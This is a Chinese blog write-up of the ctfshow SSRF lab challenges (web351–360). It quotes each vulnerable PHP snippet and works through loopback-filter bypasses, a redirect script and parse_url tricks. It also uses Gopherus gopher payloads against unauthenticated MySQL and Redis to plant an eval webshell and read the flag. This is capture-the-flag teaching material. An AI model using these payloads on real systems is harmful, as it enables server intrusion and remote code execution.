ctfshow SSRF篇
2021-4-25
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Apr 25, 2021
slug
2021/ctfshow-ssrf
summary
ctfshow靶场系列
tags
CTFSHOW
category
漏洞靶场
icon
password
要是多点组合拳,或者条件苛刻些就好了 (

web351 简单认识

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
poc
# POST url=http://127.0.0.1/flag.php
notion image

web352 永远相信美好的事情即将发生

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
分析:
协议必须是 http/https ,但过滤了 localhost 和 127.0.0
poc
url=http://127.0.0.1/flag.php
preg_match 没传参可还行。。因为有 error_reporting(0) ,报错的地方恒为 False
notion image

web353 数字绕过

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
分析:
协议必须是 http/https ,但过滤了 localhost 和 127.0.
这里有许多绕过
  • 进制绕过
url=http://0x7F000001/flag.php
  • 0.0.0.0 绕过
url=http://0.0.0.0/flag.php
  • ipv6绕过 这里不行
  • 特殊地址绕过
url=http://0/flag.php url=http://127.1/flag.php url=http://127.0000000000000.001/flag.php
这里有个小知识点
第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0
notion image

web354 难点的数字绕过

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
了解到一个好玩的东西 IDNA ,不过这题用不上
https://www.tr0y.wang/2020/08/18/IDN/
然后又了解到一个有趣的东西, 有免费的 http://sudo.cc/ 可以解析到 127.0.0.1 白嫖。
notion image
题外:
虽然也可以用自己的域名或服务器,2333

web355 长度限制

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
主机名部分长度限制,可以用 http://0/flag.php 也可以用 http://127.1/flag.php
notion image

web356 长度限制

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
同 web255,只不过短了点
notion image

web357 IP过滤器

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>
分析:
先获取主机名对应的ip,然后用IP过滤器进行过滤
  • FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
  • FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
即,主机名解析的 IP 不能是保留地址或者是内网 IP。
这时利用公网服务器进行重定向即可,为了以后的题目 fuzz 方便,写好参数
<?php $h_p_p = explode("@", $_GET['h']); $host = $h_p_p[0] or '127.0.0.1'; $port = $h_p_p[1] or '80'; $path = $h_p_p[2] or ''; header("Location: http://$host:$port/$path", TRUE, 302); ?>
notion image

web358 白名单正则

nginx/1.18.0 PHP/7.3.22
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
分析,
之前一直没分析到这个 parse_url 函数的特性,有些时候有的时候 URL 会长这样
notion image
解析时,会把@进行分割,前面是用户,后面是主机名。
notion image

web359 打无密码MySQL

nginx/1.16.1 PHP/7.3.11
题目提示
打无密码的mysql
为什么是无密码呢?
https://paper.seebug.org/510/
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
随便写点东西 Login 一下,然后有个 returl 写个 baidu,发现可以请求 baidu
notion image
一般 SSRF 打内网应用主要还是通过协议,比如用的比较多的是 gopher
具体怎么做呢?
细心的同学可能发现,无论是用 gopher 攻击 redis、mysql、还是 ftp,这些主要都是基于 tcp 协议为主。这和 gopher 协议的基本格式有关
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
因为,如果想要打 MySQL 就需要知道 MySQL 通信时的 TCP 数据流,才能知道要怎么和 MySQL 通信,这里可以通过 Wireshark 抓包来分析
可以参考下面链接的 0x02 mysql协议分析部分
不过这里有个更好用的工具
他包含常见的应用 gopher 数据包的格式构造, 原理也是通过 Wireshark 抓包分析,然后写脚本。
python2 gopherus.py --exploit mysql
依次输入用户和要执行的SQL语句
Give MySQL username: rootGive query to execute: select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';
notion image
当然,除了满足MySQL未授权外,还需要MySQL开启允许导出文件以及知道网站根目录,本漏洞才能成功利用,缺一不可。
这个 /var/www/html 目录是如何知道的呢?应该是爆破的…
生成的 POC 里,_ 字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码,然后,比如 %00 解码后,PHP会直接截断。。
最终 POC
notion image
然后在 c.php 里面 cat /flag.txt 即可
notion image
flag
ctfshow{d9cfb450-02d7-4b13-9170-4b9306d01a34}
顺便嫖一下 check.php 代码 (
<?php if(isset($_POST['returl'])){ $url = $_POST['returl']; if(preg_match("/file|dict/i",$url)){ die(); } echo _request("$url"); } function _request($curl,$https=true,$method='get',$data=null) { $ch=curl_init(); //初始化 curl_setopt($ch,CURLOPT_URL,$curl); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true); curl_setopt($ch,CURLOPT_HEADER,false);//设置不需要头信息 curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);//获取页面内容,但不输出 if($https) { curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);//不做服务器认证 curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,FALSE);//不做客户端认证 } if($method=='post') { curl_setopt($ch, CURLOPT_POST,true);//设置请求是post方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//设置post请求数据 } $str=curl_exec($ch);//执行访问 curl_close($ch);//关闭curl,释放资源 return $str; } ?>
当然还可以有其他利用方式,比如构造 POST 请求进行 SQL注入,文件上传等

web360 打Redis

nginx/1.18.0 PHP/7.3.22
题目提示
打redis
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
和上题差不多,也是用 Gopherus 打 redis
What do you want?? (ReverseShell/PHPShell): PHPShell Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): '<?php eval($_GET[c]);?>'
notion image
URL编码一下 _ 后面的内容
默认生成的 webshell 在 shell.php
notion image
发的包会超时,不过没事,shell.php 是会生成的。
最后 cat /flaaag 即可
notion image

一些参考的题解
漏洞靶场
  • CTFSHOW
  • XSS & SSRF组合拳ctfshow 反序列化篇
    目录